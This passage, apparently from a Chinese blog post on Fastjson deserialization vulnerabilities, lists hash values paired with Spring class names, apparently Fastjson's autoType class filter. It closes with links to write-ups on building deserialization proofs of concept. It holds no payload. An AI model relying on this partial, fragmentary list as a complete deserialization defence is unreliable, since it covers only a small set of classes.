0x73A0BE903F2BCBF4L org.springframework.jdbc.BadSqlGrammarException
0x7B606F16A261E1E6L org.springframework.jdbc.CannotGetJdbcConnectionException
0xAFCB539973CEA3F7L org.springframework.jdbc.IncorrectResultSetColumnCountException
0x4A39C6C7ACB6AA18L org.springframework.jdbc.InvalidResultSetAccessException
0x9E404E583F254FD4L org.springframework.jdbc.JdbcUpdateAffectedIncorrectNumberOfRowsException
0x34CC8E52316FA0CBL org.springframework.jdbc.LobRetrievalFailureException
0xB5114C70135C4538L org.springframework.jdbc.SQLWarningException
0x7F36112F218143B6L org.springframework.jdbc.UncategorizedSQLException
0x26C5D923AF21E2E1L org.springframework.cache.support.NullValue
0xD11D2A941337A7BCL org.springframework.security.oauth2.common.DefaultExpiringOAuth2RefreshToken
0x4F0C3688E8A18F9FL org.springframework.security.oauth2.common.DefaultOAuth2AccessToken
0xC59AA84D9A94C640L org.springframework.security.oauth2.common.DefaultOAuth2RefreshToken
0x1F10A70EE4065963L org.springframework.util.LinkedMultiValueMap
0x557F642131553498L org.springframework.util.LinkedCaseInsensitiveMap
0x8B2081CB3A50BD44L org.springframework.remoting.support.RemoteInvocation
0x8B2081CB3A50BD44L org.springframework.remoting.support.RemoteInvocation
0x54DC66A59269BAE1L org.springframework.security.web.savedrequest.SavedCookie
0x111D12921C5466DAL org.springframework.security.web.csrf.DefaultCsrfToken
0x19DCAF4ADC37D6D4L org.springframework.security.web.authentication.WebAuthenticationDetails
0x604D6657082C1EE9L org.springframework.security.core.context.SecurityContextImpl
0xF4AA683928027CDAL org.springframework.security.authentication.UsernamePasswordAuthenticationToken
0x92F252C398C02946L org.springframework.security.core.authority.SimpleGrantedAuthority
0x6B949CE6C2FE009L org.springframework.security.core.userdetails.User

参考:

http://xxlegend.com/2017/05/03/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

http://www.mi1k7ea.com/2019/11/03/Fastjson%E7%B3%BB%E5%88%97%E4%B8%80%E2%80%94%E2%80%94%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/

http://www.mi1k7ea.com/2019/11/07/Fastjson%E7%B3%BB%E5%88%97%E4%BA%8C%E2%80%94%E2%80%941-2-22-1-2-24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#autoTypeSupport

本文地址:https://blog.csdn.net/qq_34101364/article/details/111706189